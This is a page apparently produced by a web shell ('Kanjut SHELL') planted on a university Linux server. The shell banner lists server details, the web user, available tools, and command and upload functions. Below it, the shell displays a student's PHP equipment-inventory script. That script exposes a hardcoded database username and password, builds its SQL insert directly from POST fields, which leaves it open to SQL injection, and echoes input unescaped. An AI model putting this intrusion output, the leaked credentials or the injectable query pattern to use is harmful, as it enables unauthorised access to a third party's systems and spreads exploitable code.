Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 18.189.170.227
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/tcritser/../ranicholson/public_html/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/tcritser/../ranicholson/public_html/iybeqmtacc2.php
<?php   session_start(); ?>
<!-- File name: iybeqmtacc2.php -->

<?php
        $pass =  $_SESSION['pw'];

        if($pass != "123")
                  print "Go away.";
        else
        {
?>

<html>
<title>IN YOUR BAG</title>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" href="https://www.w3schools.com/w3css/4/w3.css">
<link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Inconsolata">
<link rel="stylesheet" href="https://www.w3schools.com/lib/w3-theme-blue-grey.css">
<link rel='stylesheet' href='https://fonts.googleapis.com/css?family=Open+Sans'>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">

<style>
body, html {
    height: 100%;
    font-family: "Inconsolata", sans-serif;
}
.bgimg {
 background-position: center;
    background-repeat: repeat;
    background-image: url("https://lookatmeenow.com/wp-content/uploads/2019/03/Basketball-Equipment-Market.jpg");
    min-height: 60%;

}
.menu {
    display: none;
}
</style>
<BODY>
<!-- Header with image -->
<header class="bgimg w3-display-container w3-grayscale-min" id="home">
  <div class="w3-display-middle w3-center">
 <span class="w3-tag" style="font-size:50px">IN YOUR BAG</span>
  </div>
</header>

<!-- Add a background color and large text to the whole page -->
<div class="w3-sand w3-grayscale w3-large">

<!-- Links (sit on top) -->
        <div class="w3-top">
                 <div class="w3-row w3-padding w3-black">
                        <div class="w3-col s2">
                                <a href="iyb.php" class="w3-button w3-block w3-black">HOME</a>
                        </div>
                        <div class="w3-col s2">
                                <a href="iybfootacc.php" class="w3-button w3-block w3-black">FOOTWEAR</a>
                        </div>

                        <div class="w3-col s2">
                                <a href="iybappacc.php" class="w3-button w3-block w3-black">APPAREL</a>
                        </div>
                        <div class="w3-col s2">
                                <a href="iybeqmtacc.php" class="w3-button w3-block w3-black">EQUIPMENT</a>
                        </div>
                        <div class="w3-col s2">
                                <a href="iybtipsacc.php" class="w3-button w3-block w3-black">TIPS</a>
                        </div>
                        <a href="iyb.php" class="w3-bar-item w3-button w3-hide-small w3-right w3-padding-large w3-hover-white" title="Logout"><i class="fa fa-user"></i></a>
                   </div>
        </div>



<Center>
<H1>
<b>EQUIPMENT INVENTORY</b>
</H1>
<HR>
<?php
	$ID = $_POST['ID'];
        $equip = $_POST['equip'];
        $product  = $_POST['product'];
        $pr = $_POST['pr'];

if($equip == "Basketball")
        $equip = "Basketball";
else if($equip == "Bag")
        $equip = "Bag";
else if($equip == "Protection")
        $equip = "Protection";
else
        $equip = "Training";

if($pr == "*")
        $pr = "*";
else if($pr == "**")
        $pr = "**";
else if($pr == "***")
        $pr = "***";
else if($pr == "****")
        $pr = "****";
else
	$pr = "*****";




        $host = 'localhost';
        $user = 'ranicholson';
        $passwd = 'cs480';          
        $database = 'ranicholson';
        $connect = mysqli_connect($host, $user, $passwd);
        $query = "insert into EQUIP2 values
                        ('$ID', '$equip', '$product', '$pr')";
        mysqli_select_db($connect, $database);
        if(mysqli_query($connect, $query))
                print "<P>The $product with
                        <P> Equipment ID: $ID was  successfully added to
                        the inventory.<P>";
        else
                print "<P> No product was added to the inventory.<P> Make sure the Equipment ID is unique
                        if you're having trouble. <p>";


        mysqli_close($connect);




?>   

<h1>
<?php
include "eqmtdisplay.php";
?>
</h1>



<P>         
<a href="iybeqmtacc.php" class="w3-button w3-block w3-black">BACK</a>

</Center>


<?php
        }
?>






Stv3n404 - 2023